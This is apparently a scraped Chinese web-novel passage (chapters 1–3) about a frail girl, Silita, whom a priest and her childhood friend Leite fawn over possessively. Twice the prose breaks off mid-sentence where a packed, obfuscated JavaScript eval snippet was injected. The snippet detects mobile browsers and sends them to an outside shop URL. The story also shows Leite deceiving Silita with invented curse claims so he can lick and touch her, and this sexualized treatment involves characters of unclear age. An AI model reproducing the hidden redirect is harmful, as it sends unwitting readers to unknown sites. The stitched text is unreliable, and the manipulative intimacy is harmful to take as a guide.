《人人都爱小NPC》 1. 第 1 章 夕阳透过彩窗洒进小教堂。 希莉塔正小心翼翼地擦拭神像。 要再认真、再努力一些…… 把光明神大人擦拭得闪闪发亮,让牧师大人满意的话,就可以赚取铜币,然后给哥哥买新衣服了。 哥哥的新衣服…… 仅仅只是在心里默念这几个字,希莉塔就已经能感觉到一阵幸福。 小镇上有一个布料商人。 每当季节更迭的时候,哥哥总是会在夜晚出发,步行好几十公里,成为商人的第一个顾客。 他会在那里停留很久,反复地询问、翻看,直到从商人小山般的行囊里,为她挑选出最柔软、最舒适的布料。 可是轮到他自己,哥哥却恨不得全身上下都不花费一枚铜币。 他只使用商人赠送的布料,那些粗糙的、无法售卖的劣等品。 希莉塔曾经好奇过,为什么哥哥身上的衣服和她的不一样? 但哥哥只是笑,对她说这是属于哥哥的奖赏。 直到最近,希莉塔才明白那到底意味着什么…… 哥哥是骗人的坏家伙。 是不懂得好好照顾自己的笨蛋、讨厌鬼。 所以、所以希莉塔瞒着哥哥出来,悄悄成为牧师大人的杂活女仆,也是、也是可以原谅的事情吧? 想到哥哥那双黑沉沉的、仿佛可以看穿一切的眼睛,希莉塔就感到一阵心虚。 没关系……牧师大人说了,他不会告诉哥哥。 不会被哥哥发现的。 现在是3月,积雪融化,路边的野花争相开放,村民们把它们做成花束献给神明,教堂里满是清新的花香。 希莉塔放松下来,抬头看向面前的神像。 有时候,她觉得神明大人很像哥哥。 但这怎么可能呢? 她被自己亵渎的想法吓了一跳,连忙甩甩脑袋,让自己专心工作。 光明神大人……哪怕神像都是如此伟岸,叫她难以仰望。 她只有踮起脚,才能勉强去擦拭神像伸出来的那只手。 在这个时候,教堂的门被推开了。 夕阳大片大片地洒进来,将空气里的烟尘都染成灿烂的金色,少女踮起脚,去抱高大神像的一只手。 像是献祭给神明的小小新娘,从今往后就要住在祂的掌心。 顶部是十分漂亮的玻璃彩窗,斜阳缱绻地披在她的肩膀,鲜花簇拥,金光颤动,她仰着脸,让这个世界显得如此柔和、美好。 玩家停住脚步。 他看着她,很久,直到她完成她的工作,松开神像的手,安稳地站在地上。 她也看见了他。 像是一只受惊的鸟,她那携带着病容的脸上,露出纯粹的茫然的表情。 “希莉塔?” 对视间,另一个人走了进来。 年轻英俊的金发牧师,穿着简朴典雅的白色长袍,乌发披散,极其隽永的模样。 这是负责新手指引的NPC。 但他对玩家满脸不耐、甚至毫不掩饰杀意。 此刻,他却收敛起所有的攻击性,迫不及待地朝她靠近。 像是一个归家的丈夫。一条亟待主人抚摸的家犬。 “您怎么捏着抹布?” 牧师捧起她的手,像是被冰冷的温度吓了一跳,急切的问道: “您触碰那些冷水了吗?” “全怪我没有及时回来……” 他的语气中充满懊悔、疼惜,还带着一种令人毛骨悚然的湿意,宛若某种蛇的吐息。 “希莉塔……全怪我没有说清楚就离开,害得您误会了我的意思……全都是我的错,希莉塔,快把抹布扔下。” “可是、可是我的工作还没有完成……” “工作?不,希莉塔,坐在这里就是您的工作,让神明看见您可怜可爱的小脸庞,让祂知晓这世上还有您这样可爱的小信徒……” 他的喉结动了动:“这就是您卓越的贡献。” “我尊敬的可怜的希莉塔……让我看看,您的手指受伤了吗?” 他垂眸观察、亲吻她的指尖。 那是一种卑微的、虔诚的、狂热的、侍奉神的态度。 “我会让您的手指重新暖起来的……” “都是我的错,请您给我一个赎罪的机会……” 说着,像是容纳圣物一般,他把她的手指放进口腔。 少女显然无法承受这样的热情,她向后躲,身体薄薄一片,被人拥入怀中。 那些可怜的呜咽,漂亮的、被舔舐的手指头。 玩家盯着看了几秒。 然后垂下眸,轻轻拨弄了一下他的琴。 在琴声下,牧师的动作变得迟缓。 她终于得以逃离。 …… 希莉塔回到了家里。 她获得了满满的一袋铜币。 牧师大人说,这是给认真工作好孩子的奖励,还有被陌生人惊吓的补偿。 她却无暇品尝这份喜悦,只感觉心跳越来越快,眼前一片眩晕。 她被吓坏了。 不是因为陌生人,而是因为牧师大人…… 他给她手指取暖的方式,令她有些无法接受。 她坐在书桌前,努力让自己平静下来,拿出她最爱的那本魔法书。 《风元素魔法基础理论第一章·写给婴儿》 这是哥哥从地精洞穴里带回来的战利品。 虽然地精智力低下,囤积的都不是什么好东西,这本书的名字好像也不太正经。 但希莉塔确信,这是一本货真价值的、拥有高深奥义的魔法书。 因为它的作者名叫泽菲尔。 ——泽菲尔·埃尔菲斯。 所有孩子魔法道路上的灯塔。 她的偶像,照耀着她精神世界的太阳。 哪怕在这样偏远贫瘠的村庄,天空中也闪耀着他的名字。 她现在还不能理解书本后面的文字,能够掌握的只有前几页。 但仅仅是这几页知识,就让她拥有了一个法术。 一个十分简单的风魔法,没有什么攻击力,只能用来翻翻书、吹吹灰尘,赶跑一些烦人的蚊虫。 但这可是法术…… 一个真真正正的法术…… 哪怕效果再是微弱,这也证明了她拥有学习魔法、成为法师的能力。 每次想到这里,喜悦就会从心底浮现。 小时候,希莉塔是经常生病的。 她不能吹风、不能碰凉水、不能受惊吓,哪怕只是伤心地掉几滴眼泪,也会湿漉漉地晕倒过去。 这让她一度陷入自卑、自我怀疑的状态,觉得自己一无是处,除了生病就是生病,只会给哥哥添麻烦,简直就是一个没用的拖油瓶。 直到遇见这本书,遇见泽菲尔大人,看见魔法的大门向她轻轻敞开。 哪怕只是一条狭窄的缝隙,也足够令她满足了。 就像是溺水者获得了氧气,她找到了生活的希望和意义。 她想要成为厉害的魔法师……嗯,不厉害也可以,只要有一份收入,可以养活自己,让哥哥别再这么疲惫,别再为了省钱,只穿粗糙廉价的衣服,吃那些坚硬的黑麦面包。 仅仅是这样就足够了…… 希莉塔轻轻地抚摸书页,感受着上面的文字摩擦指腹,就仿佛和泽菲尔大人建立了某种短暂的、遥远的连结。 这让她感到一阵幸福。 心跳慢慢平复下来。 她看向那袋铜币。 不管怎样,她赚到钱了,通过自己的努力。 这真值得高兴,不是吗?感激一切…… 哥哥就快回来了。 她要把这些可爱的小家伙藏起来,在生日之前都不能让哥哥发现。谁知道这个吝啬鬼会做什么呢?她想,哥哥在这种事情上面最笨了。 她抱起铜币,脱掉鞋子,踩在椅子上,想要将它塞进衣橱顶部。 这里堆积着灰尘和杂物,哥哥平时不会翻找,是一个很适合藏东西的地方。 她从来没有做过这种事,有些紧张,这些铜币又比她想象中沉重得多,这让她眼前一阵眩晕。 还好有魔法…… 轻风托举着袋子,轻轻地将铜币抛了上去。 “……希莉塔?” 红发少年推开门,视线在她裸.露的脚掌处停留了一秒。 “你在做什么?” 她被吓了一跳,连忙捉住衣橱的把手:“我、我在找衣服呢。” 撒谎的时候低着头,睫毛一个劲地抖,好可爱。 小小一只、薄薄一片,倚在衣橱上,像是马上就要被风吹走。 好可怜…… 少年脚步轻轻地走过来。 先是捉住她的手臂,然后再扶住她的腰,轻轻地、慢慢地,沉稳地将她抱了下来。 希莉塔坐在椅子上,捂住心口,好一会才平复了心跳。 她低下头,正想给自己穿鞋子,发现莱特已经跪在了她的脚边。 莱特,一起长大的小竹马,有着耀眼夺目的红眸和红发,身上总是散发着清爽的、充满朝气的味道。 他的长相精致、锋利、充满攻击性,搭配上发色和眸色,总显得有些灼人眼球。 但他的脸颊上巧妙地点缀着几颗小雀斑。 这些小雀斑冲散了他身上的侵略性,给他带来了一些温暖、可爱的气息。 应该感到安心的吧? 可是莱特……实在是太大一只了。 体型大到不像是一个人类,肌肉也鼓鼓囊囊的。 和哥哥那些包裹在严密衣服下,叫人无法看见的肌肉不同。 莱特的肌肉很大、很明显,他也总是不好好穿衣服,把那些肌肉明晃晃地露出来。 或许是整日打铁的缘故,他的皮肤呈现出一种被火焰和阳光熏烤过的健康的肤色。 哪怕正跪在她的脚边,也丝毫不显得狼狈瑟缩,只像是一座冒着热气的小山。 太过强烈的雄性气息。 那种味道,仿佛正一点点侵入她的鼻腔,进入她的脑袋里面。 这样的家伙……正捉着她的脚踝不放呢。 她感到一阵不安。 少年适时地抬眸朝她笑。 莱特的眼睛,总是闪烁着宝石般漂亮的色彩。 他看她的眼神温顺驯服,像是某种无害的家养动物。 希莉塔又放松下来。 “莱特。” 她喊他的名字。 “嗯?”少年轻轻地回应她,又说道:“希莉塔怎么能爬这么高呢?摔下来怎么办,这么细一点点的脚踝……摔倒的话,骨头都会碎掉的。” 他竟然诅咒她? 希莉塔委屈地偏过头,不理他。 少年看了她一眼,手上的动作变得极其缓慢,粗粝的手指不断划过她的皮肤。 “呜……”她颤了颤,“你快一点呀。” 他盯着她的脚背看了好一会,听见她心虚不安地问:“哥哥怎么还没回来?” “可能有什么事情耽误了吧。” 莱特心情很好地笑了笑。 “希莉塔不喜欢吗?我们单独待在一起。” 见她呆呆的不说话,他又笑着说道:“如果梅尔大哥回来,希莉塔的小秘密马上就会被发现哦,这么一想,还是先不要回来比较好,对吧?” 什、什么小秘密……希莉塔被吓了一跳,低头看着他,好一会都说不出来话。 被莱特发现了吗…… 她扯住他的袖子:“不许告诉哥哥。” “当然了,希莉塔,我会保护好我们的小秘密。” 他给她穿好鞋子,也不起来,就这样坐在地上,用脑袋去蹭她的腿。 毛茸茸的红发弄得她很痒。 她伸手推他,听见他小声笑了笑。 “那告诉我好不好?希莉塔,你藏起来的是什么?” 他握住她的一只手掌轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261012|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻地捏。 “这样的话,我才能更好地帮上你的忙呀。” “嗯……是牧师大人给的铜币。” “牧师?” 少年轻轻歪了歪脑袋:“希莉塔去教堂了啊。” “是的……” 希莉塔左看右看,确认哥哥还没有回来,才低下头,小小声地说:“我今天悄悄去做牧师大人的小女仆了。” 想到那一袋重重的铜币,她的语气忍不住透露出欣喜和雀跃,还带着一种自己劳动的骄傲。 莱特不说话了。 他好一会都没有说话,脸上也没有表情,这让希莉塔感到有些困惑。 “莱特?”她戳戳他的脸颊。 “抱歉,刚刚在想很可怕的事情。” “什么可怕的事?”希莉塔问。 莱特很勇敢,不怕黑暗也不怕怪物,更不怕火焰和猛兽。 他口中忽然出现的“可怕”使她有些好奇,又让她有些不安,忍不住抓住他的手臂来寻求安全感。 “嗯……比起这个。小女仆……” 他轻轻地重复了一遍这几个字。 “小女仆要做什么呢?希莉塔。” “擦拭神像。” “擦拭神像?” 他抬起脸看了她一会,轻轻“哦”了一声,接着捧起她的手掌,近近地贴着看,像是在检查可能存在的伤口。 “希莉塔的手指头这么小,这么可怜,没有被抹布和冰冷的河水欺负吗?” “……?” “好可怜啊,希莉塔,它们一定在哭呢。” “希莉塔小小的手指头,被抹布欺负得灰扑扑的……” 少年用脸颊贴着她的手掌,语气听起来伤心极了。 “梅尔大哥知道的话,一定也会很生气吧?” 希莉塔被吓了一跳。 “不、不许告诉哥哥。” “嗯。”他笑了笑,一边贴着她的手掌慢慢磨蹭,一边抬眸看她。 “那告诉我好不好?希莉塔,你的手指究竟怎么了?” 他指着她手指上的红痕。 “这是被舔出来的吧?” 他每天都舔她的手指,这种痕迹,他最熟悉不过了。 少女茫然地看着他,点点头。 毫不心虚的样子。 这让他更加生气了。 贱人。肯定是有人趁着希莉塔反应慢,叼着她可怜的手指头舔个不停。 天底下到处都是这样的贱货。她不知道。 可怜的希莉塔,这当然不是她的错,这么小小的一个,每天光是好好呼吸就已经足够努力了,反应慢一点又有什么错呢? 她只是想出去工作,她一直都是这样的好孩子,总是想方设法地帮忙。 她不是故意搭理那些贱货的,她只是不知道她有多可爱,那些脏东西脑袋里下贱的想法,她这样的好孩子又怎么会明白? “好可怜,希莉塔。” 他把脑袋埋在她的怀里,仰起头看她。 “希莉塔,你知道吗?我最近收到消息——光明教会可能被污染了。” 他停顿了一下,才接着说道: “里面很多牧师实际上都是黑暗眷属,最擅长用口水传播诅咒了。” “……真的吗?” 希莉塔从来没听过这样的事,瞪大眼睛,有些怀疑地看着他。 “当然是真的呀,希莉塔,我怎么会骗你?” 莱特说:“我们村子里的牧师,从来都没有使用过祈祷术救助村民呢。希莉塔,你说这是为什么?” 他的语气和表情都真诚极了,还带着些许的受伤,就仿佛希莉塔刚刚短暂的怀疑令他十分难过。 这让她忍不住去相信他。 “为什么?” “当然是因为,他是黑暗神的眷属,一旦祈祷,就会暴露自己的身份呀。” 他说:“总不可能,是因为那位牧师自私自利、不在乎村民的死活吧?光明教会底下可从来没有这种道德败坏的贱人哦。” 希莉塔听得有些害怕,双手交握在胸口,小小声地说:“可、可是……” 好可爱。 他忍不住把她的手捉下来亲。 “希莉塔,我是你最好的朋友,不得不为你着想——想想看吧,如果事情真的是这样,你小小的身体要怎么抵挡那些肮脏的口水呢?上面携带着的病菌、诅咒,还有即将到来的梅尔大哥的怒火……” 好可怕…… 希莉塔被吓得小脸发白,她从来不是一个大胆的孩子,尤其是关于自己的生命。听见这样的话,没一会就全部坦白了。 “被,被牧师大人吃了手指头。” 她哭着说:“牧师大人说,莱特是坏家伙,不许别人和我做朋友。” “可怜的希莉塔,你被骗了。” 少年将她圈在怀里,满怀怜爱地抚摸她的头发。 他过大的体型可以完全遮挡窗外洒进来的阳光,使这里变成阴翳孤单的一角。 “不仅被傻乎乎地骗走了手指头,还沾上了肮脏野狗一样的贱人怪物口水,怎么办呀?” “呜……” 这些连续的形容词把希莉塔彻彻底底吓坏了。 她躲在莱特的怀里左看右看,就好像真的有怪物潜藏在黑暗里那样,没一会,又把脑袋藏进小竹马的胸口,哭着喊哥哥。 等哥哥回来就会没事的…… 哥哥是最强的。 哥哥最聪明、最厉害,哥哥可以帮希莉塔解决所有的难题…… 希莉塔抽泣着祈求哥哥的出现,完全没有发现小竹马阴沉的脸色。 但是他很快就笑起来。 “明明我就在你的身边呢,希莉塔。” 少年抱着她转换方向,让她去看外面的黑沉沉的天空。 “天已经黑了,梅尔大哥还没回家,说不定是遭遇了什么事情,希莉塔现在只有我了……好可怜,也喊一喊莱特的名字,让你的莱特来帮帮你吧?” 2. 第 2 章 悄悄去教堂做杂活女仆,结果不幸染上了诅咒。 还好莱特在这里,他总是这么热心肠地帮忙…… “别害怕,希莉塔,我们很快就可以解决这件事情,不会让梅尔大哥发现的。” 少年抱着她哄,直到她不再掉眼泪,才亲亲她的脸颊,心满意足地走出去。 希莉塔完全没有注意到自己被亲了。 她满脑子都是可怕的诅咒,想象着自己身上正黏着什么黑乎乎的邪恶物质,越想越是害怕,又小声哭了起来。 长长的头发垂落在地上。 脸小小的、藏在浓密的乌发里面,鼻尖哭得红红的,双手无力地抓紧椅背,努力不让自己从椅子上滑倒。 “希莉塔?” 好在莱特很快就回来了。 “不哭了好不好?” 他抱起她,先亲亲她的头发,又亲亲她的脸。 “很快就会解决的,别害怕……乖宝宝。” 她在他的怀里乖乖点头,一副说什么都会答应的样子。 乖死了。 怎么能怪他呢?他想,希莉塔,这么可爱的小小一只,整天在他面前晃悠,生下来就是要被他亲的。 可她却总是嫌他的舌头大,总是说他黏糊糊,皱着脸伸手把他推远,就连给他舔舔手心、脚背,让他稍微解解馋也不愿意。 他这无耻的无处安放的嘴巴,除了说一点卑劣的话,还能怎么办呢? 哪怕是狗,也要汪汪叫来为自己争得食物呀。 希莉塔的精力就这么一点点,他不亲不舔的话,岂不是给外面那些贱人趁虚而入了吗? 才不会允许这样的事情发生。 少年一边在心里把第三者大卸八块,一边煞有其事地布置了起来。 他打来井水,又往盆里倒入烧开的热水,将水温混合成适宜的温度。 接着,他又拿来一小块由草木灰和动物脂肪制成的粗皂、一小截起泡树根。 把它们搓出泡沫,丢进水里,再加入玫瑰、深眠花、薰衣草,和几滴蔷薇纯露…… 希莉塔有些紧张地看着他的动作。 这都是家里面有的材料。 在她去到村子外面,和外人接触之后,哥哥也总是这样为她清洗,以免她染上什么病菌。 在最后,哥哥还要往水里施放清洁魔法、注入许多法力,才能得到一盆香香的、具有魔法效果的清洗液。 但莱特是不会魔法的。 他身上甚至没有一丝法力。 要知道,就连刚睁开眼睛的小婴儿,身上都或多或少带着一点自然的法力呢。 莱特却一点点都没有。 “这样可以吗?” 她有些担心材料的浪费,更担心这盆水没有丝毫作用,让诅咒继续缠绕在她的身上,慢慢夺走她的生命。 “放心吧,希莉塔。” 莱特从怀里拿出一块深红色的宝石,朝她笑了笑。 “里面也有法力哦。” 说着,他把红宝石放入水里。 水很快就变得深红,接着开始沸腾、冒出气泡,转变为一种黏稠的、橘红色的液体。 “这是岩浆哦。” 莱特的语气就像是一个展示自己宝贝的孩子。 “是不是很漂亮?” 岩浆…… 希莉塔愣了一下。 据说,这种滚烫的液体只会在火山深处出没。 大陆上所有火山都是属于红龙的领土,它们性格暴戾,不可驯服。 历史上从来没有一个骑着红龙的龙骑士。 红龙也很少在人间出现。 关于红龙的记载只有一条,那就是它们会毫无征兆地焚烧一切。 好可怕。 ……莱特为什么要拿红龙和岩浆开玩笑? 哪怕知道他说的不可能是真的,但这盆液体还是让她感到一阵恐慌,那是人类代代相传的基因里,对于危险的天然预兆。 她往后躲了躲。 “别担心,希莉塔,世界上不会有东西灼伤你。” 莱特扶着她的腰,站在她的身后,高大的身躯在地面上投射出一个巨大的影子。 “哪怕你扑进燃烧的火焰,它们也只会热情地拥抱你、亲吻你、填满你。” 说着,他笑了一下。 “放进去吧,希莉塔。毕竟你的手指上面,还沾着那个怪物臭臭的口水呢。希莉塔想让那些恶心的臭口水一直留在你的皮肤上吗?” “……” 希莉塔被说得有些害怕,鼓起勇气,试探着点了点沸腾的水面。 真的不烫。 一种很温暖、很舒服的感觉。 她有些茫然地抬头看他,少年回以鼓励的笑容,露出两颗可爱的虎牙。 她慢慢把两只手都浸入水里。 和哥哥那些香香的、平静的清洗液不一样,莱特做的清洗液会冒泡泡,还有一种特殊的味道。 像是火焰灼烧之后的灰烬,又像是某种炎热的喷发的矿物。 而且这些水…… 希莉塔总觉得它们在动。 她抿紧唇,认真地感受了一会,这不是错觉。 有东西在挤压、缠绕她的手指,裹满了还不够,依旧在她皮肤上蠕动。 就好像一些有智慧的小生物想要透过毛孔,一直钻进她的身体里面。 心跳加快,她下意识想要抬手去安抚,手指颤动之间,那些东西更急切地挤压她的手指。 她感到有些呼吸不畅。 “好奇怪……” 她仰头看着他,漂亮的眼睛里充满了信赖和委屈,喊他的名字。 “莱特。” 简直就是讨人亲。 少年喉结滚动了好几下,忍耐不住地捉住她的头发,放在脸上深深嗅闻。 她有些困惑地看着他的动作。 眨眨眼睛,又低头看看水面,小脸上露出犹豫、思考,然后决定装作没有看见。 好乖…… 莱特忍不住更近地低头靠近她,贴着她的脖子嗅,一边汲取她的香气,一边发出轻轻的喘息。 希莉塔……好可爱,好想一口吃掉,到肚子里面藏起来。 可是希莉塔,小小的一只,稍微用力一点就会弄坏。 弄坏就没有了,世界上唯一一个的希莉塔。 他要忍耐。 “我听说,在红龙的巢穴里面,充满了这样的液体。” 他几乎贴在她的后背,语调轻轻的、慢慢的。 “红龙会和伴侣一起在岩浆里拥抱、交||尾,直到漫长的岁月过去,把伴侣的肚子灌得高高隆起,一滴也吃不下为止。” “在这期间,忠诚的岩浆会阻挡一切试图打扰的虫豸,也会一直讨好她、让她变得更舒服。希莉塔觉得怎么样?” 希莉塔呆呆地听着这些话。 “村民们怎么办?” 她在脑袋里面想着另外一件事。 这是希莉塔的天赋。 小时候,她总是能听见黑暗中未知的低语。 她听不懂那些声音,只觉得可怕极了,每天晚上,都要躲在哥哥怀里,被他哄好久好久,才能慢吞吞地睡着。 随着长大,她逐渐学会和这具孱弱的身体共处,也磨练出了这个天赋。 ——遇见奇怪的、莫名其妙的人和事,就很快忘掉,当做从没发生过。 这很好地保护了她的心脏,不再让她总是情绪激动地晕倒。 哥哥说她是一个聪明的孩子。 “如果牧师大人真的是黑暗眷属,那一定很危险,我们要通知大家。”希莉塔说。 在她眼里,没什么比生命更加重要。 这是一个并不富裕的小村庄。 牧师大人就是村子里最尊贵的存在了。 如果连牧师大人都不值得信赖的话…… 希莉塔抬头看向窗外,夕阳不见了,月亮还没出来,视线里只有深沉的、灰蒙蒙的天空。 哥哥从来没有在这么晚回过家…… “这只是我们的猜测,希莉塔。” 莱特说:“说不定是我们误会他了。他其实不是黑暗眷属,只是一个自私自利道德败坏阴险狡诈的贱人而已。” “……”希莉塔懵懵地看向他。 “比起别人,希莉塔还是多关心关心自己吧?” 少年握起她的手,替她擦拭手指上那些深红的液体。 起先还装模作样地用毛巾擦拭,没几秒就忍不住用舌头舔了上去。 “毕竟……如果那家伙真的被污染了,希莉塔现在就是诅咒缠身的状态哦?”他含含糊糊地说。 希莉塔被弄得有些迷糊。 “洗干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261013|198027||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后还不够吗?” “不够哦。” “那怎么办……” “嗯……只能让莱特来帮帮你了。” 他掀起自己的衣摆。 线条流畅的腹部肌肉大块大块地映入眼帘,在火光下,少年的皮肤呈现出一种十分可口的颜色,像是流淌着一层甜甜的蜜。 “我的身体,是完完全全的纯净之躯哦。” 他的语气里充满了得意和骄傲。 “除了希莉塔之外,我的身体没有被任何人触碰过,用来净化诅咒再合适不过了,希莉塔,用你的双手来触摸我吧。” 她轻轻皱起眉,像是在怀疑这个‘净化仪式’的可信度。 但是相信莱特,顺着他的话这样去做,好像也不会对她造成什么伤害。 想到这里,她立刻就放弃了更深地去琢磨,这是她节省精力的方法。 莱特正在期待地看着她。 她垂下眸,试探着把手掌贴上去。 “这样吗?” “唔……”他轻轻抖了一下,连带着他腹部的肌肉也抖动起来,一抽一抽的。 这把她吓了一跳。 “它、它在抖?” “嗯。因为它很高兴。” “为什么?” “唔……因为派上了用场,帮上了希莉塔的忙。嗯……希莉塔,再用力一点。” 莱特的声音变得和平时不太一样,软软的,叫她想起了夹着嗓子寻求抚摸的猫。 但如果是猫的话,也太大一只了…… 肚子上的肌肉也好大一块……弹弹的、硬邦邦的。 很烫人呢。 她的手指忍不住蜷缩了一下。 听见他小声的叫喊。 希莉塔有些担心地抬起脸,看见高大的小竹马脸颊通红,鼻尖已经沁出了汗珠,叼着衣角,满脸忍耐。 “我弄疼你了吗?” 希莉塔问:“清除诅咒是不是很痛?莱特。” 怎么会痛呢? 好笨的宝宝。好想一口吃掉,装进肚子里,每天晚上拿出来舔,让别的贱货眼巴巴地流着口水看,把她舔睡着,又把她舔醒,让她哭着打他。 莱特已经不知道自己在幻想什么了,他觉得这样忍下去迟早会疯掉。 他多想不顾一切地弄碎她,和她接吻,把舌头塞进她的嘴巴里,舔她喉咙,吃掉她的呼吸和眼泪,撞她、撞得她满床乱爬。 可是做不到。 他舍不得这么做,他只能祈求他的希莉塔更多地摸摸他。 “再往上面一点吧?” 他更高地掀起自己的衣服,露出堪比成年兽人的壮硕胸肌。 “这样效果会更好呢。”少年挺着胸朝她笑,露出两颗小虎牙,和以往一样阳光、温暖、爽朗。 她却感觉有什么东西令她后颈发凉。 是窗户没关紧,夜风吹进来了吧? …… 净化诅咒的最后一步,是将牧师的口水彻底覆盖掉。 “谁知道那家伙舔过多少人的手?希莉塔,那种见人就舔的肮脏的不检点的男人,身上就算没有诅咒,也一定潜藏着许多病菌。” “可是、可是我听说牧师大人洁身自好……” “这种谣言根本没有可信度,希莉塔,你真该提起戒心。” “只有朝夕相处、完全在你注视之中长大的莱特才是真正的洁身自好,希莉塔。” 少年叼着她的手指,含糊不清地说道:“如果遇见坏人的话,希莉塔小小的手指该怎么办呢?叼住了就不肯撒嘴,怎么打骂都是没用的,希莉塔可怜的手指头就只能永远被舔了,好可怜……” 希莉塔已经累了,她一向不愿意在这些无关紧要的事情上计较。 听见这样的话,她心有余悸地点点头。 牧师大人的确握着她的手指不放呢。 “真可爱,希莉塔。” 他咬着她的手指,满足地笑。 “更喜欢莱特的舌头,还是外面下贱肮脏携带着病菌和诅咒的怪物舌头呢?” 她被说得有些害怕:“莱特。” “什么?” “喜欢莱特的舌头……呜!” 手指被咬了一下,接着是虎牙轻轻的厮磨,少年笑得胸膛都在震动。 “希莉塔。”他喊她,“你真的……超可爱。” 3. 伊斯梅尔 “晚餐要吃什么呢?” 事情了结之后,希莉塔已经累得抬不动手指了。 她的手指头被舔得红红的,什么事都做不了,就连翻书都会带来一阵奇怪的触感。 她只好坐在窗户前,出神地看着外面的漆黑的天色。 莱特在耳边说话,语气听起来十分欢快。 “晚餐晚餐~希莉塔有什么想吃的吗?” 明明忙前忙后帮忙解除诅咒的是他,但少年却显得神采奕奕,浑身上下都充满了快乐、餍足的气息。 “今天值得好好庆祝一下。” 有哪里是值得庆祝的呢? “给希莉塔做酿葡萄炖肉怎么样?再加上一点点的葡萄酒,一点点……只是用来增加香味。” 又要吃肉吗……葡萄酒是很贵的。 “里面放几个炖得软软的胡萝卜,加一点豌豆,再来一点野菜怎么样?” 胡萝卜……她有点困了,哥哥怎么还没回来? “好啦,希莉塔。” 脸颊被捧起来,少年弯腰凑近,带着小雀斑的脸庞占据她全部的视线。 “这么晚了,梅尔大哥还没回来,我也很担心呢。但他这么厉害,不会出什么事的。” “只可惜他不能按时回来给你做饭了。” “我可怜的挨饿的小希莉塔,我们先来喂饱你可怜的小肚子吧。” …… 吃到了莱特的炖肉。 新鲜的野猪肉,切成大块丢进锅里,加入大量的酸葡萄汁、一点点葡萄酒。 放入豌豆、洋葱,和胡萝卜。 咕噜咕噜一锅炖出来,红红绿绿,颜色鲜艳,看起来简直是一道美味佳肴。 但在希莉塔看来,这道菜的味道实在称不上好。 酸酸的、苦苦的、腥腥的。 但这已经是极限了。村子里的大人都不知道怎么炖肉,难得有点肉吃,都会把家里的食材一股脑丢进去,一顿吃完继续加水、加蔬菜,连续吃上半个月,直到变成黑糊糊为止。 肉里面包含许多营养。 吃肉能让身体变得更好。 所以希莉塔从来都不允许自己嫌弃肉的腥味。 要好好吃饭、多多吃肉,这样才能变得更加强壮。 莱特把肉切得很细,很小一口,等到温度合适,才放进她的盘子里。 希莉塔舀起来吃掉。 不可以把肉一口吞下去,那会卡住她的喉咙。 她只能把肉放在嘴巴里,一点一点、十分缓慢地咀嚼。 外面的天已经完全黑了,今晚月光很淡,屋子里烧着柴火,还多点了两盏油灯。 莱特撑着脸颊看她。 会好好吃饭的乖宝宝。 眉头皱起来,眼睛水汪汪的,像是被肉欺负了一样,察觉到他的目光,慢吞吞抬眸看他。 茫然而又委屈。 又在讨人亲。 他忍不住坐近了一些,却不敢在她吃饭的时候闹她。 可怜的希莉塔……她一不高兴,那本来就小的可怜的胃里更装不下什么东西了。 希莉塔有些走神地看着他。 莱特,眼尾和脸颊总是泛着一种暖暖的红晕,眼神在灯火下显得十分柔和。 这样安静专注地看着她,整个人都暖绒绒的。 像一只很好抱的大熊。 或许是从她的眼神里领悟到了允许接近的意思,少年立刻贴了过来,把她抱进怀里。 “喂你吃好不好?希莉塔,你的手指被舔得这么红,肯定握不动勺子了对不对?” ……哪里有这么脆弱。 希莉塔推他:“不许胡说。” 不过她确实没什么心情吃饭了。 她放下勺子,恹恹地垂下脑袋。 “不吃了吗?” 莱特担忧地看着她。总是这样……连嚼都没嚼几下呢,晚餐就结束了。 可怜的塞不进东西的小肚子。 “喝点羊奶好不好?” 见她点头,他立刻去取羊奶。 加热之后用木碗装着,放入一勺蜂蜜,喝起来甜滋滋的。 希莉塔捧起碗,小口小口地喝。 他也不着急吃饭,就捧着脸颊看她,就好像看她吃饭是什么特别满足的事情。 “我今天去打猎的时候,又遇见地精了哦。” “地精?” 希莉塔好久没有听见这种生物了。 曾经,村子周围到处都是地精,它们繁衍能力很强,总是成群结队,抢夺财物、煮食人类,很多个村庄都败落于地精的劫掠。 在她很小的时候,大概七八岁的时候,哥哥和莱特开始上山打猎,附近的地精洞穴就都被掏空了。 到现在都没有地精敢出没。 “是哦,一下子还有点数不清呢,像是虫子一样围上来,好烦人的……” 少年用撒娇的语气说道。 希莉塔皱起眉。 “怎么会忽然出现这么多地精呢?” “不知道……今天早上忽然冒出来的。” 莱特想了想,形容道:“就好像……有一把看不见的刷子,把曾经杀掉的那些地精又重新刷出来了。” 这代表着什么? 希莉塔有些困惑,还来不及说话,就听见了脚步声。 哥哥,世界上唯一一道不会认错的脚步声。 他的身影出现在门口。 神明仿佛十分偏爱这个少年,不仅给了他卓越的天赋和完美的容貌,就连脚步声都像是精心设计过的一样。 冷静、优雅、从容……仿佛天塌下来,也不会使他慌乱一丝一毫。 “哥哥……” 希莉塔像是小鸟一样扑进他的怀抱。 少年轻轻地接住了她。 他很高,却并不强壮,反而十分清瘦,放在妹妹发间的手指苍白、纤细,衣领因为妹妹的拥抱而向下拉扯,露出一截清晰漂亮的锁骨。 他很白,一种不见天日的白,白得毫无血色。 但他却不显出丝毫的脆弱。 